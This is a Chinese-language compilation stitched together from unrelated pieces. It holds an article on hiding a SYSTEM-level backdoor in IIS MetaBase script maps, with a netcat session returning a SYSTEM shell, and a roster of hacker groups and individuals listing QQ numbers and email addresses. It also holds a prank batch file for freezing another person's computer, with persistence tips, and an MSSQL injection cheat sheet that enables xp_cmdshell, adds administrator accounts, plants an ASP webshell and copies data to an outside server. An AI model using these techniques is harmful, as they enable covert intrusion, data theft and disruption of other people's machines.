本文的内容是如何利用IIS本身的一些特性建立后门.当然,这主要是一份供网络管理员和网络安全工作人员参考的“Know Your Enemy”类文档,作者希望这篇文章能够对检查和清除后门有所帮助,而并不鼓励或赞同利用本文的技巧进行违法活动.

      首先简单介绍一下IIS的配置文件MetaBase.bin.这个文件位于%SystemRoot%\system32\inetsrv\MetaBase.bin,包含了几乎所有IIS的配置信息,是非常重要的系统文件.简单的说,我们在“intenet服务管理器”中所作的一切设置最终都会被保存在MetaBase.bin中.在日常的系统管理中除了通过“intenet服务管理器”来对MetaBase.bin进行操作外,Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作.

      MetaBase的结构类似于注册表,也是树形结构,有类似键、值、项的概念.事实上在IIS3和PWS中,MetaBase的内容就是存储在注册表中的.MetaBase有两个主键：LM和Schema.其中,Schema保存了系统默认的一些配置,通常不需要修改,一旦改错也非常危险,所以无论是“intenet服务管理器”还是adsutil.vbs都没有提供修改Schema的机制.LM中包含了IIS的HTTP服务,FTP服务,SMTP服务等的配置信息.其中,LM/W3SVC/下是我们要用到的HTTP服务的配置信息.

几个下面会提到的值：

LM/W3SVC/InProcessIsapiApps,进程内启动ISAPI.这是一个数组,里面包含的是一组指向一些ISAPI的路径.在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限；而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,当然,这是IIS默认的安全级别“中”的情况下,如果设为低,那么所有ISAPI都会由inetinfo.exe直接派生.另外,如果设定的时候不指定路径,而是仅指定一个扩展名,那么任何路径下的同名ISAPI在被调用的时候都会以system权限执行.

ScriptMaps,脚本映射.在某个目录下设定该值后,则向该目录请求的特定扩展名的文件会交给指定的ISAPI执行.需要强调的是,设定ScriptMaps的目录并不一定要真实存在的,只要在MetaBase中某个HTTP实例的root键下建了一个子键,对该字键同名目录的HTTP请求IIS会认为是合法的,并会交由映射的ISAPI处理.这也算是IIS的一个问题吧.

CreateProcessAsUser,在某个目录下指定改值为0,则该目录下的应用程序会继承inetinfo.exe的local system权限.

AccessWrite,决定某个目录是否允许写入,也就是WEBDAV的PUT方法.

AccessExecute,决定某个目录是否允许执行应用程序.

后门思路：

      创建一个特定扩展名的脚本映射,指向我们的ISAPI,并把该ISAPI添加到InProcessIsapiApps列表中.那么我们向服务器请求该扩展名类型文件时就会在服务器上以local system权限执行该ISAPI,且所请求的文件并不需要是真实存在的.

技巧：

      1、既然并不需要真的建一个目录来设定ScriptMaps,那么就可以只写一个键,并给这个键加上ScriptMaps.这样,从“intenet服务管理器”里是看不出这个目录的,更看不到这个ScriptMaps.

      2、虽然“intenet服务管理器”里面看不出来,但是有经验的管理员可能习惯于偶尔用adsutil.vbs enum /p来看一下：

# adsutil.vbs enum /p /w3svc/1/root
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001.保留所有权利.

[/w3svc/1/root/_vti_bin]
[/w3svc/1/root/evildir]

这样就暴露了.

因为我们设的那个键并不是真实存在的虚拟目录,只是配置文件中的一个字符串,所以可以使用0x08这样的字符来做键值.0x08是Backspace键对应的16进制值,控制台上显示的效果是向左边删除一个字符,其实就是把“/”给删了：

# adsutil.vbs enum /p /w3svc/1/root
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001.保留所有权利.

[/w3svc/1/root/_vti_bin]
[/w3svc/1/root]

面对这种输出,一般人是不会留意的.

当然也可以设为类似_vti_script,_vti_bin这样的名字,只要不设KeyType,在“intenet服务管理器”中是看不见的.

因为系统中本身InProcessIsapiApps中有一个\WINNT\System32\msw3prt.dll,是.printer的映射,一般用不上.我们可以删掉D:\WINNT\System32\msw3prt.dll的值,换上\WINNT\System32\inetsrv\msw3prt.dll.

      3、美中不足的是HTTP请求会留下痕迹,但是HTTP也有好处,那就是可以随便用一个代理服务器做跳板.另外,也可以用插入0x0D 0x0A来伪造日志的方法,（详见《Apache,IIS等多种http服务器允许通过发送回车符伪造日志》一文）这就是构造目录的技巧了.

具体实现：

      当然可以用adsutil.vbs手工来加.不过需要注意,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候一定要把原先的也加上,否则原先的就会丢失.不同条目之间用空格分开.

先用下面命令取得当前的InProcessIsapiApps列表：
adsutil.vbs get /W3SVC/InProcessIsapiApps

取到之后把自己的ISAPI路径也加进去.
adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\System32\idq.dll" "C:\WINNT\System32\inetsrv\httpext.dll" ………………

ScriptMaps的设定同InProcessIsapiApps.

当然这样比较麻烦,也无法写入0x08这样的键值,所以我干脆自己写个VBS一次性搞定.至于那个做后门的ISAPI,能实现的功能就完全取决于想象力了.这里是一个简单例子的屏幕拷贝：

# nc 10.11.0.26 80
POST /%08/anything.tom

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 08 Jan 2003 06:49:37 GMT

      更隐蔽的方法是写一个特殊的ISAPI,并注册为解析asp的.通常情况下,该程序把收到的请求转给系统原来的asp.dll,并把结果返回,当收到一个特殊POST请求时就启动自己的后门代码,这样日志里面也不会有什么显示.审核时也很难发现.

      除了上面所述利用脚本映射的方法外,还可以赋予某个虚拟目录AccessWrite和AccessExecute权限.需要运行后门的时候利用WEBDAV上载ISAPI,然后运行,使用完了再删除.（是否能删除？还是需要restart W3SVC ？我没有试验.）如果上载的不是DLL而是EXE文件,那么把该目录下的CreateProcessAsUser设为0也可以获得local system权限,这个方法早有人撰文论述.但AccessWrite和AccessExecute的改变都可以在“intenet服务管理器”中看出来,隐蔽性就差了.

转自：http://www.hackbase.com/news/2008-11-08/20387.html

著名黑客组织
　　先介绍零三年之前的组织。
　　安全焦点
　　http://www.xfocus.net/
　　1999年8月26日由xundi创立,创始人还有quack和casper。后来stardust,isno,glacier,alert7,benjurry,blackhole,eyas,flashsky,funnywei,refdom,tombkeeper,watercloud,wollf等人也加入了近来。站点主页风格一向是很简单。而该组织目前已经成为国内最权威的信息安全站点，也是最接近世界的一个国内组织。
　　目前国内一些技术性比较强的文章都由作者亲自提交到该网站，而国内一些知名的技术属一属二的高手都会去这里的论坛。讨论技术的氛围还可以。而且一些网络安全公司也关注这里的论坛。现在流行的著名扫描工具x-scan的作者就是该组织的成员。
　　从2002年开始，每年都举办一次信息安全峰会，吸引了国内外众多知名网络安全专家关注参加。会议涉及众多领域，备受关注。创造了良好的学术交流氛围。在此祝愿这个组织越走越好。
　　
　　中国红客联盟（以解散）
　　http://www.cnhonker.com/
　　借这个机会要说明一下，只有这个红客联盟才配的上是真正的红客联盟，并不是因为他申请了什么专利，而是在大家的眼中，只有他才只真正的红客联盟。
　　这个组织是由lion在2000年12月组建的。曾再2001年带领众多会员参与中美黑客大战，而名震“江湖”。不过这个时代早已逝去，激情的往事也跟着逝去，留给人们的只有回忆。在2005年的最后一天，lion在主页上宣布正式解散。或许很多人难以理解吧。不过这也自有人家的道理。现在外面有N个红盟，我不屑于去关注他们。在此祝福lion,bkbll等人。对sharpwinner我就懒的说什么了。
　　
　　中国鹰派
　　http://www.chinawill.com/
　　与红客联盟一样，都是2000年末创立，并且在2001年参与了中美黑客大战。站长万涛也是早期的绿色兵团成员。并且也参与了在2000年前的几次网络战争。至尽这个组织依然没有倒下。近几年中并没有什么大的事件发生。所以很多人对他都已经没有了什么印象。希望他们越走越好。
　　
　　邪恶八进制
　　http://www.eviloctal.com/
　　2002年由冰血封情创立，当时是以小组模式运营的，而发展到现在已经成为一个30多人的信息安全团队。主页做的很简单，但论坛内容非常丰富，涉及领域众多，在下经常去那里下载学术资料，论坛管理的是我所见过的论坛中最好的。而且讨论氛围也很不错。鄙人与那里的几个核心成员有所接触，都是比较热心的，而且技术都是比较强的。祝愿这个组织越办越好。我对这个团队的发展充满期望。
　　
　　幻影旅团
　　http://www.ph4nt0m.org/
　　2001年创立，发展到现在组织成员已经达到20人，近期组织推出了WIKI平台（http://www.secwiki.com），内容涉及无线网络，病毒与反病毒，以及黑客技术等众多领域。所有的朋友都可以到那里去涂鸦。2002年开放了论坛，目前论坛的技术讨论氛围还是可以的，而且热心人也是很多的。相信这个组织也能走下去。
　　
　　白细胞(whitecell)
　　http://www.whitecell.org/
　　2001年创立的一个纯技术交流站点。当时核心成员有sinister，无花果等人，都是国内著名的高手。在2002年后就关闭了，而最近它由回来了。主页与论坛依然都很简单。希望这次回归会带给大家新的气象。
　　
　　中华安全网
　　http://www.safechina.net/
　　2001年4月创立，经过了几次改版后，队伍也发展的比较大，我所熟悉的有yellow,Phoenix等人。到现在，这个网站还在改版中，不过论坛依然开放，在这里还是有讨论空间的。组织内的人技术也都是不错的。希望这次改版后会有大的变化：）。
　　
　　第八军团
　　2000年左右由陈三公子组织成立，后经过多次改版。成为了一个VIP制的站点，资源收集量还是不错的。鄙人经常去那里找代理服务器，更新的速度还是可以的。论坛里讨论气氛不是很热烈。希望今后发展的会更好。
　　
　　
　　
　　来说说这两年成立的黑客组织
　　BCT
　　http://www.cnbct.org/
　　2004年底成立的一个专门挖掘脚本漏洞的组织。已经发展了一年了。在下与H4K_B4N,fpx到是有些接触。感觉这个组织是不错的，虽然没有做什么影响力大的事情，但是这种默默研究技术的精神还是值得发扬的，与那些招摇的比，要好多了。网站上收集了一些漏洞资料，这点到是做的比较好。希望继续努力，发展的越来越好。
　　
　　火狐技术联盟
　　http://www.wrsky.com/
　　2004年建立的一个组织，致力于破解软件的组织。对于他们组织现在很有争议，也曾经一度遭受到猛烈的拒绝服务攻击，造成网站瘫痪长大数月，到现在是一个论坛系统。对于这个组织，到目前为止还是有争议。希望能早日平息。
　　
　　黑客技术
　　http://www.hackart.org/
　　2003年成立的组织，之前使用的是乔客的整站程序，后来就关闭了。也是最近重开的站点，使用的是论坛系统，在下与那里的版主风般的男人和Jambalaya 是好朋友。他们的技术还是不错的。现在论坛人气虽然不怎么高，但显然是老站重开，知道的人还不多，希望日后可以恢复元气，继续发展下去。
　　
　　
　　国内三大商业黑客站点。
　　黑客基地
　　http://www.hackbase.com/
　　2003年成立。原站长龙哥,从事黑客技术与安全防范研究提供业界资讯、漏洞 公告,人物，软件教程，黑客攻防，知识库等栏目。
　　
　　黑鹰基地
　　http://www.3800cc.com/
　　由米特创立的商业黑客站点。现为"爱国者安全网" http://www.3800hk.com/
　　
　　华夏黑客同盟
　　http://www.77169.com/
　　2004年由怪狗创立的站点。
　　
　　其实黑客组织多的数不胜数，我也只是举几个著名的而已。
　　下面来说说人物吧，现在的黑客越来越多，我重点介绍那些专著于系统与漏洞的高手，当然他们对入侵也是有所造诣的。注意，这并不是排名，不是第一个就是最厉害，而最后一个是这里面技术最差的，如果这样想就错了。
　　因为有时候想着费劲所以就进入一下牛人的BLOG以及一些论坛去看，这样就可以容易记起来，知道写谁。
　　先从这里找http://www.0x557.org/~kkqq/ 然后在从安全焦点的文章和论坛里还有绿盟去找。
　　
　　
　　alert7
　　QQ:415451
　　email:alert7@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=12
　　安全焦点核心成员，曾经在补天的。精通linux操作系统，对于linux下的漏洞很有研究。
　　
　　baozi(fatb)
　　QQ:48448355
　　http://blog.xfocus.net/index.php?blogId=3
　　对windows与linux下的入侵很精通。
　　
　　CoolQ
　　QQ:49462335
　　http://coolq.blogdriver.com/coolq/index.html
　　email:qufuping@ercist.iscas.ac.cn
　　我也是在安全焦点05年的峰会上认识的他，是中科院软件研究所的学生，对于linux非常有研究。在最后一期的Phrack杂志上有他的文章《Hacking Grub for fun and profit》也是在这期杂志中发表文章的三位中国人之一。另外著作还有《ways to hide files in ext2/3 filesystem》
　　
　　bkbll(dumplogin)
　　email:bkbll@cnhonker.com
　　http://blog.0x557.org/dumplogin/
　　原中国红客联盟核心成员，与lion曾经一起参加过中美黑客大战。对windows与linux都很有研究。著作有《POSIX子系统权限提升漏洞的分析》
　　
　　flashsky
　　QQ:16202253
　　email:flashsky@xfocus.org
　　http://www.qjclub.net/blog/user1/497/index.html
　　安全焦点核心成员。精通windows操作系统上的缓冲区溢出，当年就是他一连公布了微软的N个漏洞，微软就此还谴责过安全焦点。现就职于启明星辰。
　　
　　Flier Lu
　　email:flier@nsfocus.com
　　http://flier_lu.blogcn.com/
　　绿盟的高手，精通windows操作系统内核，著作有《MS.Net CLR扩展PE结构分》《自动验证 Windows NT 系统服务描述表》《CLR 中代码访问安全检测实现原理》等等。
　　
　　funnywei
　　QQ:25044885
　　email:funnywei@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=28
　　安全焦点核心成员，熟悉windows操作系统。著作有《WindowsXpSp2溢出保护》
　　
　　glacier
　　QQ:1937435
　　email:glacier@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=15
　　安全焦点核心成员，精通windows编程，网络编程，delphi等等。是冰河木马以及著名扫描软件x-scan的作者。
　　
　　icbm
　　email:icbm@0x557.org
　　http://blog.0x557.org/icbm/
　　精通linux操作系统内核以及漏洞。就职于启明星辰。翻译过文章《Building ptrace injecting shellcodes》是《浅析Linux内核漏洞》的作者。
　　
　　killer
　　QQ:6362602
　　email:killer@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=2
　　安全焦点灌水区版主。精通逆向工程，程序破解。
　　
　　pjf
　　QQ:85863144
　　http://pjf.blogcn.com/
　　著名的检测工具icesword(冰刃)的作者。很多程序员以及编写rootkit的高手以绕过它的检测工具为目标。熟悉windows操作系统内核。
　　
　　refdom
　　email:refdom@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=11
　　安全焦点核心成员，《反垃圾邮件技术解析》的作者。似乎曾经是红客联盟的人。
　　
　　stardust
　　QQ:6269692
　　email:stardust@xfocus.org
　　http://blog.xfocus.net/index.php?blogId=7
　　安全焦点核心成员。熟悉linux,精通IDS。著作有《从漏洞及攻击分析到NIDS规则设计》《Bro NIDS的规则》《Snort 2.x数据区搜索规则选项的改进》《Bro NIDS的安装与配置》
　　
　　sunwear
　　QQ:47347
　　email:shellcoder@163.com
　　http://blog.csdn.net/sunwear/
　　邪恶八进制核心成员。精通windows操作系统内核。著作有《利用NTLDR进入RING0的方法及MGF病毒技术分析笔记》《浅析本机API》《智能ABC输入法溢出分析》
　　
　　swan
　　email:swan@xfocus.org
　　http://blog.0x557.org/swan/
　　对缓冲区溢出漏洞很有研究。最近的ms05051 Microsoft Windows DTC 漏洞的exploit作者就是他。
　　
　　tombkeeper
　　QQ:644909
　　http://blog.xfocus.net/index.php?blogId=9
　　安全焦点核心成员。精通windows操作系统内核。著作有〈用Bochs调试NTLDR〉〈修改Windows SMB相关服务的默认端口〉等等。在焦点峰会上见到过他，很帅。
　　
　　watercloud
　　http://blog.xfocus.net/index.php?blogId=6
　　安全焦点核心成员。精通windows,linux操作系统。著作有〈手工打造微型Win32可执行文件〉〈溢出利用程序和编程语言大杂烩〉〈RSA算法基础->实践〉
　　
　　zwell
　　email:suei8423@163.com
　　http://blog.donews.com/zwell
　　NB联盟核心成员。精通windows操作系统，著作有〈安全稳定的实现进线程监控〉〈一种新的穿透防火墙的数据传输技术〉
　　
　　zzzevazzz
　　QQ:49322630
　　http://zzzevazzz.bokee.com/index.html
　　幻影旅团核心成员。原灰色轨迹的人。精通windows操作系统内核。著作有〈Do All in Cmd Shell〉〈无驱动执行ring0代码〉等等。
　　
　　小榕
　　http://www.netxeyes.org
　　流光，乱刀，溺雪及命令行SQL注入工具的作者。中国第二代黑客。
　　
　　lion
　　QQ:21509
　　email:lion@cnhonker.com
　　http://www.cnhonker.com
　　原中国红客联盟站长，对缓冲区溢出很有研究。精通linux.windows.
　　
　　isno
　　QQ:1070681
　　email:isno@xfocus.org
　　安全焦点核心成员，精通缓冲区溢出漏洞。webdav溢出程序的作者。写过IDQ，IDA漏洞溢出的分析等等。
　　
　　sinister
　　QQ:3350124
　　email:sinister@whitecell.org
　　白细胞成员。精通windows内核，AIX。著作有〈NT 内核的进程调度分析笔记〉〈NT 下动态切换进程分析笔记〉〈AIX 内核的虚拟文件系统框架〉〈AIX 内核的文件操作流程〉
　　
　　袁哥
　　email:yuange@nsfocus.com
　　现就职于中联绿盟公司。精通windows操作系统内核以及漏洞利用。
　　
　　warning3
　　email:warning3@nsfocus.com
　　msn:warning3@hotmail.com
　　精通linux unix内核及漏洞。现就职于中联绿盟公司。著作有〈Heap/BSS 溢出机理分析〉
　　
　　SoBeIt
　　QQ:27324838
　　email:kinvis@hotmail.com
　　精通windows编程以及系统内核还有溢出。著作有《Windows内核调试器原理浅析》，《挂钩Windows API》等等翻译过《在NT系列操作系统里让自己“消失”》
　　
　　xhacker
　　QQ:66680800
　　精通渗透入侵以及脚本入侵。著作有〈详述虚拟网站的权限突破及防范〉，〈如何利用黑客技术跟踪并分析一名目标人物〉
　　
　　eyas
　　QQ:320236
　　email:eyas@xfocus.org
　　安全焦点核心成员，熟悉windows操作系统，windows编程。著作有《NT平台拨号连接密码恢复原理》，《WS_FTP FTPD STAT命令远程溢出分析》
　　
　　孤独剑客
　　QQ:5385757
　　email:Janker@Hackbase.Com
　　Http://Www.Janker.Org
　　精通编程。以及入侵技术。winshell的作者。中国第二代黑客。
　　
　　sunx
　　QQ:239670
　　http://www.sunx.org
　　对溢出有研究，写过IDA漏洞和printer漏洞的溢出程序。精通汇编。著作很多。
　　
　　analysist
　　QQ:20116789
　　精通数据库与脚本入侵。早年对跨站脚本以及很多脚本漏洞很有研究。著作有《跨站脚本执行漏洞详解》，《BBS2000和BBS3000所存在的安全隐患》
　　
　　Frankie
　　http://cnns.net
　　精通windows操作系统，与linux。中国第一代黑客。
　　
　　rootshell(fzk)
　　QQ:1734398
　　http://www.ns-one.com
　　精通windows操作系统，熟悉缓冲区溢出漏洞。老一代的黑客。著作有〈最近发现的一个Distributed File System服务远程溢出问题〉。
　　
　　PP
　　QQ:82928
　　精通windows操作系统。名言：如果想飞得高，就该把地平线忘掉。
　　
　　tianxing
　　OICQ:911189
　　网站:http://www.tianxing.org/
　　精通windows操作系统与漏洞利用。RPC漏洞利用程序以及网络刺客,网络卫兵的作者。
　　
　　grip2
　　QQ:1007270
　　精通linux操作系统。著作有〈一个Linux病毒原型分析〉
　　
　　san
　　QQ:56941
　　精通windows操作系统以及linux。而且对windows CE很有研究。phrack最后一期的杂志中，刊登过他的文章。
　　
　　hume
　　QQ:8709369
　　精通汇编以及windows操作系统。著作有《SEH in ASM 的研究》
　　
　　backend
　　email:backend@antionline.org
　　精通linux操作系统。翻译过很多文章，是绿盟的高手。不过已经几年没见在网络上游走了。到是现实中偶尔看到他。
　　
　　Adam
　　QQ:15898
　　email:adam@nsfocus.com
　　绿盟的高手，windows安全版版主。精通windows操作系统。
　　
　　ipxodi
　　QQ:16175535
　　email:ipxodi@nsfocus.com
　　很长时间没看见他了。精通windows操作系统以及缓冲区溢出。著作有〈window系统下的堆栈溢出〉〈Windows 2000缓冲区溢出入门〉。这些文章都是造福了很多后辈的。
　　
　　zer9
　　QQ:573369
　　email:zer9@21cn.com
　　也是很长时间没见到了。早期写过不少文章和工具。也是老一辈的革命家。
　　
　　whg
　　QQ:312016
　　email:whg0001@163.com
　　http://WWW.CNASM.COM
　　不知道算不算白细胞的成员，呵呵。病毒高手。精通汇编。写过不少软件，例如lan下sniff QQ的工具以及sniff工具等等，可以到他的主页上去看。
　　
　　lg_wu
　　email:lgwu2000@sina.com
　　在绿盟论坛和安全焦点都见过，对linux精通的很。技术不一般的说。
　　
　　wowocock
　　QQ:37803144
　　精通windows操作系统内核，汇编。在驱动开发网以及cvc　轻描淡写见过，技术不一般。著作很多，但是见到的很少。不知道为什么这么好的文章没人转！
　　
　　baiyuanfan
　　QQ:51449276
　　这小子在峰会上给我的印象很深。在技术上很下工夫。对windows也算有研究了。著作当然是byshell了。
　　
　　vxk
　　QQ:355852911
　　汇编技术很硬，精通windows内核。经常在cvc论坛看到他。
　　
　　冰血封情
　　QQ:124839278
　　邪恶八进制的创始人。中国第四代黑客。感觉这个人很不错。对他的组织比较认可。技术上面还可以。
　　
　　Polymorphours(shadow3)
　　QQ:120974745
　　白细胞成员。以前叫shadow3.好象换名字了。熟悉windows操作系统，以及缓冲区溢出。著作有〈MS05-010许可证记录服务漏洞允许执行代码的分析〉〈Media Player 8.0 vulnerability〉等等。
　　
　　e4gle
　　QQ:1949479
　　白细胞成员。老一代的黑客。精通linux系统内核以及病毒技术，缓冲区溢出。著作有〈程序攻击原理〉〈Unix系统病毒概述〉〈高级缓冲溢出的使用〉
　　
　　bingle
　　QQ:45671342
　　很早就认识的一个兄弟了。著作不少，很多都很实用。
　　
　　wollf
　　QQ:228095
　　glacier的老婆。一定不能让他知道我是谁，要不我就死定了。她是黑客　；）　美女黑客！
　　
　　goodwell
　　中国早期著名黑客组织－绿色兵团　创始人之一。
　　
　　yellow
　　QQ:12398890
　　中华安全网核心成员。熟悉缓冲区溢出与windows编程。
　　
　　江海客
　　QQ:741534
　　曾经参加某个会议的时候见过他，聊的还可以，后来在焦点峰会时又碰了面。此人是反病毒方面的高手。
　　
　　icmb
　　启明星辰linux方面的高手。对于漏洞方面很有研究。不带眼睛更漂亮……


本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：http://www.hackbase.com/news/2008-11-08/20387.html

      默认IIS站点配置文件有2个MBSchema.xm和MetaBase.xml,路径是C:\WINDOWS\system32\inetsrv\(一般这个目录设置的everyone读的权限.)

      MetaBase.xml这个文件是存的站点IIS配置的信息.里面可以查到所有本服务器IIS下设置的站点目录和配置。

      几个主要的配置有:

ServerComment:我的网站 //站点的名称
ServerBindings:80 //站点的端口
Path="D:\wwwroot" //这里是站点的路径
DefaultDoc="index.asp,index.php,index.htm,Default.htm,Default.asp,Default.aspx" //默认文档头,就是主页显示文件名
ScriptMaps==".asa,C:\WINDOWS\syst..........." //站点支持的哪些脚本.

      还有就是看C:\WINDOWS\system32\inetsrv\History这个目录,这个目录里是对每次站点的IIS设置进行的备份.

建议在虚拟机上试验
或者在别人的电脑上运行改批处理
她可以让她的电脑立马无法响应过来
而不得不重启机器

如果你还毒的话可以把她放到启动项中
还毒的话加一个Autorun文件，open=这个批处理路径
再毒的话在注册表中镜像劫持掉，让她点击QQ、MSN、IE等常用工具既
激活批处理

让她折腾去
双核也测试过，只能重启，反映响应比以前简单的写个
loop循环还要强N倍
呵呵
还来不及敲shutdown -a
关闭组等操作哦
纯属娱乐
对系统文件无伤害
重启后无碍
附件中有我测试时的源文件，懒的话可以下载哦
附源文件内容
注两个文件解压到同一目录下

启动.bat



zzw.bat



附前人死循环批处理



当然：有人会问为什么不把CMD.exe换成其他的应用程序呢，可以的，但是前提你要知道她电脑有那些大的应用软件

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --


数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用户名
and user>0
' and user>0 and ''='

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);--

检测是否支持多行
;declare @d int;--

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--


select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------
//      执行命令
//-----------------------
首先开启沙盘模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判断xp_cmdshell扩展存储过程是否存在：
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1


数据库备份
backup database pubs to disk = 'c:\123.bak'

//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--



更改sa口令方法：用sql综合利用工具连接后，执行命令：
exec sp_password NULL,'新密码','sa'

添加和删除一个SA权限的用户test：
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public


停掉或激活某个服务。

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方，以逗号隔开。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某个执行中的程序，但赋予的参数是 Process ID。
利用”工作管理员”，透过选单「检视」-「选择字段」勾选 pid，就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab 'c:\test.cab','c:\temp',1


某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中创建表，看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目录里写入一句话马：
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容
Update films SET kind = 'Dramatic' Where id = 123

//删除内容
delete from table_name where Stockid = 3